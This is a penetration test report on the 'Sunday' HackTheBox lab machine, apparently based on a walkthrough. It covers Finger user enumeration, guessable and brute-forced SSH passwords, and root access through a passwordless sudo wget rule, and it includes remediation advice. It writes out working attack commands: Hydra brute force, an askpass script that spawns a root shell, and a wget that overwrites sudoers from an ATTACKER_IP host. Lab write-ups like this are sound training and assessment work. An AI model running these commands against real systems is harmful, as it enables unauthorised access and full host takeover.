ASSESSMENT REPORT

Penetration Test
Report

External network & host assessment

Assessment target

Sunday

sunday.htb

10.129.55.143

Prepared by

Ledion Mujaj

Assessment date
8 September 2026

HackTheBox laboratory assessment  |  Solaris

01 / 10
SUNDAYPenetration Test Report
HTB-SUN-01   |   Version 1.0Confidential2 / 10
SUNDAYPenetration Test Report

1. Executive Summary

Assessment outcome

Testing of sunday.htb identified four findings spanning information disclosure, weak credential controls and an unsafe privilege delegation. The assessment obtained an interactive shell under the sunny account via guessable credentials, escalated laterally to sammy through brute force, and reached root by exploiting a passwordless sudo rule on wget.

The Finger service on port 79 enumerated valid local usernames without authentication, providing a confirmed target list for credential attacks. The sunny account used the machine hostname as its password, allowing immediate SSH access on the non-standard port 22022. The sammy account was reachable via Hydra across the same SSH port using the finger-derived username list against the rockyou wordlist.

Once access as sammy was established, a passwordless sudo rule for /usr/bin/wget permitted arbitrary code execution as root using the --use-askpass flag to execute a tester-controlled script.

Impact

The documented access crossed the initial authentication boundary and the privilege boundary between an unprivileged account and root. An attacker with equivalent access could read all files on the system, alter accounts and services, and use the host as a staging point for further activity.

Priority recommendations

  1. Disable or firewall the Finger service to prevent unauthenticated user enumeration.
  2. Replace all trivially guessable account passwords; enforce a minimum credential strength policy.
  3. Remove the passwordless sudo delegation for wget and audit all remaining sudo rules for equivalent risks.

Conclusion

Each of the four findings is independently remediable. Disabling Finger removes the enumeration path. Strengthening credentials removes the guessing and brute-force paths. Removing the wget delegation removes the privilege escalation path. None of the findings is dependent on another for remediation.

HTB-SUN-01   |   Version 1.0Confidential3 / 10
SUNDAYPenetration Test Report

2. Assessment Scope and Methodology

2.1 Target and observed services

AssetAddressDescription
sunday.htb10.129.55.143Solaris; Finger, RPC, SSH and printer services
PortServiceObserved detail
79/tcpFingerOpenBSD fingerd; leaks valid usernames and last-login TTY
111/tcpRPCrpcbind
515/tcpPrinterlpd print service
22022/tcpSSHSunSSH; non-standard port, absent from the default nmap scan
nmap -sC -sV 10.129.55.143

PORT    STATE SERVICE  VERSION
79/tcp  open  finger   OpenBSD fingerd
111/tcp open  rpcbind  2-4 (RPC #100000)
515/tcp open  printer

# SSH absent from default top-1000 port scan; revealed by full scan:
nmap -p- -sV 10.129.55.143

22022/tcp open  ssh  SunSSH 1.3 (Solaris)

SSH was missed by the default scan because it listens on port 22022. A full port scan was required.

2.2 Approach

Testing began with network service discovery. The non-standard SSH port was identified via a full-range scan. The Finger service was queried manually to confirm it disclosed account information, then automated with finger-user-enum against a names wordlist to enumerate valid local accounts.

With a confirmed username list, SSH access was attempted for sunny using common passwords before resorting to automation. Following the lateral move to sammy, privilege enumeration identified the wget sudo rule and validated the GTFOBins --use-askpass technique.

Tools used included Nmap, finger-user-enum (pentestmonkey), Hydra and standard system utilities.

2.3 Severity classification

RatingAssessment criteria
CriticalDirect, readily exploitable compromise with exceptional impact or reach.
HighExecution of arbitrary code, significant unauthorised access or escalation to administrative privileges.
MediumMeaningful exposure with constrained impact or substantial exploitation prerequisites.
LowLimited direct impact; improvement to an existing security control.
InformationalContext or an observation without an established vulnerability.
HTB-SUN-01   |   Version 1.0Confidential4 / 10
SUNDAYPenetration Test Report

3. Results Overview

3.1 Findings summary

ReferenceFindingSeverityPage
F-01Finger service discloses valid local usernamesMedium6
F-02Guessable SSH credentials for the sunny accountHigh7
F-03Brute-forceable SSH credentials for the sammy accountHigh8
F-04Passwordless sudo wget allows root code executionCritical9

3.2 Compromise sequence

StageActionAccess obtained
01Queried Finger service; enumerated valid local accounts with SSH login history.Username list (sunny, sammy)
02Authenticated to SSH on port 22022 as sunny using the hostname as password.sunny shell
03Brute-forced sammy's SSH credentials with Hydra using rockyou.txt.sammy shell
04Exploited passwordless sudo wget via --use-askpass to execute a root-owned script.root shell

3.3 Relationship between findings

F-01 supplied the username list used in F-02 and F-03. F-04 required access as sammy. The information disclosure and credential findings are independently remediable; eliminating F-01 would increase the effort required for the credential attacks but would not prevent them if the usernames were obtained by other means.

HTB-SUN-01   |   Version 1.0Confidential5 / 10
SUNDAYPenetration Test Report

4.1 Finger Service User Enumeration

F-01   Finger on port 79

MEDIUM
FieldAssessment
DescriptionThe Finger daemon on port 79 responds differently to valid and invalid usernames, allowing unauthenticated enumeration of local accounts. Queries for valid usernames return the account's full name, TTY and last-login information. The daemon also performed loose matching, returning lists of unrelated accounts for some queries, which exposed additional accounts not directly queried.
PrerequisitesNetwork access to port 79. No credentials required.
ImpactAn attacker learns which local accounts exist on the system and which have interactive SSH login history. This information directly reduces the effort required for credential attacks.
Affected systemsunday.htb:79
fingerd
CVSS 3.16.5   AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CWECWE-203: Observable Discrepancy

Steps to reproduce

  1. Run finger @<TARGET_IP> to enumerate active users.
  2. Run finger sunny@<TARGET_IP> and finger sammy@<TARGET_IP> to confirm account existence.
  3. Observe that valid usernames are disclosed in the service response.

Evidence

# Manual probe confirms valid-user disclosure
echo "root" | nc -vn 10.129.55.143 79

Login       Name               TTY         Idle    When    Where
root     Super-User            console      <Dec  7, 2023>

# Automated enumeration with finger-user-enum
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt \
  -t 10.129.55.143

# Accounts with pts/ssh TTY (interactive SSH login history):
sammy  pts/2  10.0.2.2
sunny  pts/3  10.0.2.2

Evidence E-01. Finger responses transcribed from the assessment record. Accounts with a pts TTY confirmed as SSH-accessible. Solaris terminology ("Super-User") also confirmed the operating system.

Remediation

Disable the Finger service if it is not required for operational use. Where the service must remain active, apply host firewall rules to restrict access to approved administrative addresses. Ensure the daemon does not return account lists in response to queries for non-existent users.

Verification

Confirm that the Finger port is unreachable from untrusted networks and that queries for valid and invalid usernames return identical responses or are refused.

HTB-SUN-01   |   Version 1.0Confidential6 / 10
SUNDAYPenetration Test Report

4.2 Guessable SSH Credentials

F-02   Trivial password on the sunny account

HIGH
FieldAssessment
DescriptionThe sunny account used the system hostname as its password. This required no brute-force tooling — a single manual attempt was sufficient. SSH authentication succeeded on the first try after testing the target name against the discovered username.
PrerequisitesKnowledge of the username (obtained via Finger, F-01) and the target hostname. Both are available without authentication.
ImpactInteractive shell access as sunny. The account was used as the initial foothold on the system. User flag ownership by sammy prevented direct flag access but did not limit further lateral activity.
Affected systemsunday.htb:22022
sunny local account
CVSS 3.19.8   AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-1391: Use of Weak Credentials

Steps to reproduce

  1. Attempt SSH authentication as sunny with the password sunday: ssh sunny@<TARGET_IP> -p 22022.
  2. Observe that authentication succeeds.
  3. Use hydra -l sammy -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP>:22022 to brute-force sammy's credentials.

Evidence

# SSH authentication on non-standard port
ssh sunny@10.129.55.143 -p 22022
# Password: sunday (hostname, first attempt)

sunny@sunday:~$ id
uid=65534(sunny) gid=65534(nobody) groups=65534(nobody)

sunny@sunday:~$ ls /home/
sammy  sunny

sunny@sunday:~$ cat /home/sammy/user.txt
cat: /home/sammy/user.txt: Permission denied

Evidence E-02. Authentication succeeded on the first manual attempt. The user flag is owned by sammy and required lateral movement before it could be read.

Remediation

Replace the password with a unique credential of sufficient length and complexity. Enforce a password policy that prohibits use of the hostname, username, or other predictable values as credentials. Consider certificate-based SSH authentication to remove password-based access entirely.

Verification

Confirm that the previous password is rejected and that the replacement credential does not match any dictionary or pattern-based wordlist entry. Verify that no other local accounts carry equivalent credential weaknesses.

HTB-SUN-01   |   Version 1.0Confidential7 / 10
SUNDAYPenetration Test Report

4.3 Brute-Forceable SSH Credentials

F-03   sammy account in the rockyou wordlist

HIGH
FieldAssessment
DescriptionThe sammy account's password appeared in the rockyou.txt wordlist. Hydra, run against SSH on port 22022 with the finger-derived username list, recovered the credentials within a single wordlist pass. No account lockout or rate limiting was observed on the SSH service.
PrerequisitesNetwork access to SSH on port 22022, the username (from Finger, F-01) and a common wordlist. No prior authentication required.
ImpactInteractive shell access as sammy. The account held the user flag and provided the sudo permissions used in F-04.
Affected systemsunday.htb:22022
sammy local account
CVSS 3.19.8   AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-1391: Use of Weak Credentials

Steps to reproduce

  1. Using the username list obtained from Finger (F-01), run: hydra -L names.txt -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP>:22022.
  2. Observe that Hydra recovers credentials for sammy without triggering an account lockout or rate limit.
  3. Authenticate: ssh sammy@<TARGET_IP> -p 22022 and confirm shell access with id.

Evidence

hydra -L names.txt -P /usr/share/wordlists/rockyou.txt \
  ssh://10.129.55.143:22022

[22022][ssh] host: 10.129.55.143  login: sammy  password: [redacted]

ssh sammy@10.129.55.143 -p 22022

sammy@sunday:~$ id
uid=101(sammy) gid=10(staff) groups=10(staff)

sammy@sunday:~$ cat ~/user.txt
[redacted]

Evidence E-03. Hydra recovered sammy's credentials from rockyou.txt. The password is omitted from this record. No lockout was triggered during the run.

Remediation

Replace the password with a credential not present in common wordlists. Implement SSH rate limiting or fail2ban to restrict brute-force attempts. Consider disabling password-based SSH authentication in favour of key-based authentication for all accounts.

Verification

Confirm that the replacement credential is not present in rockyou.txt or equivalent wordlists. Verify that repeated failed SSH attempts trigger a lockout or rate-limit response. Test that legitimate key-based access remains functional.

HTB-SUN-01   |   Version 1.0Confidential8 / 10
SUNDAYPenetration Test Report

4.4 Unsafe Privilege Delegation via sudo wget

F-04   Passwordless sudo wget --use-askpass

CRITICAL
FieldAssessment
DescriptionThe sammy account was permitted to run /usr/bin/wget as root without a password via a sudo rule. The --use-askpass flag instructs wget to execute a specified script to retrieve a password, and that script executes with the effective user of wget — root. A tester-controlled shell script was passed as the askpass handler, producing a root shell.
PrerequisitesAccess to the sammy account and write access to a writable filesystem path. Both conditions were satisfied during testing.
ImpactArbitrary operating-system commands executed as root. Full control of the host, including all accounts, files, services and configuration.
Affected system/etc/sudoers — sammy sudo rule
/usr/bin/wget
CVSS 3.17.8   AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-269: Improper Privilege Management

Steps to reproduce

  1. Check sudo rights: sudo -l and observe that /usr/bin/wget is permitted without a password.
  2. Stage an askpass script: echo -e '#!/bin/sh\n/bin/sh 1>&0' > /tmp/temp-file && chmod +x /tmp/temp-file.
  3. Trigger the escalation: sudo /usr/bin/wget --use-askpass=/tmp/temp-file 0.
  4. Alternatively, start a local HTTP server hosting a crafted sudoers file and run sudo wget http://<ATTACKER_IP>/sudoers -O /etc/sudoers to overwrite sudoers.
  5. Confirm root identity with whoami.

Evidence

sammy@sunday:~$ sudo -l
(root) NOPASSWD: /usr/bin/wget

# Stage the askpass script in /tmp
echo -e '#!/bin/sh\n/bin/sh 1>&0' > /tmp/temp-file
chmod +x /tmp/temp-file

# Trigger the escalation
sudo /usr/bin/wget --use-askpass=/tmp/temp-file 0

# whoami confirms root context
whoami
root

cat /root/root.txt
[redacted]

Evidence E-04. Commands transcribed from the assessment record. The askpass script redirects a shell to file descriptor 0, producing an interactive root shell. Reference: GTFOBins: wget.

Remediation

Remove the wget sudo rule. Where a network-fetch capability is required under a privileged account, replace it with a narrowly scoped administrative function that does not allow execution of arbitrary scripts. Review all remaining sudo rules for equivalent patterns involving flags that execute external programs.

Verification

Confirm that the sudo rule is absent from /etc/sudoers and all files in /etc/sudoers.d/. Verify that sammy cannot execute wget as root and that no equivalent delegation was introduced as a replacement.

HTB-SUN-01   |   Version 1.0Confidential9 / 10
SUNDAYPenetration Test Report

5. Remediation and Assessment Closeout

5.1 Corrective action plan

PriorityActionReference
ImmediateRemove passwordless sudo delegation for wget.F-04
HighReplace guessable password on the sunny account.F-02
HighReplace brute-forceable password on the sammy account; implement SSH rate limiting.F-03
MediumDisable or firewall the Finger service on port 79.F-01

No remediation retest is documented. Each finding includes verification criteria for closure.

5.2 Test artefacts

LocationPurposeRemoval status
/tmp/temp-fileAskpass shell script for privilege escalation testNot verified

5.3 Evidence and limitations

Evidence blocks are sourced from the Sunday assessment walkthrough. Flag values and the sammy account password are omitted from all evidence. The /backups directory referenced in some public records was not present on this instance.

5.4 Evidence index

ReferenceSupporting record
E-01Walkthrough section 2: Finger enumeration and username recovery
E-02Walkthrough section 3: SSH access as sunny
E-03Walkthrough section 5: Hydra brute force and SSH access as sammy
E-04Walkthrough section 6: sudo wget --use-askpass and root shell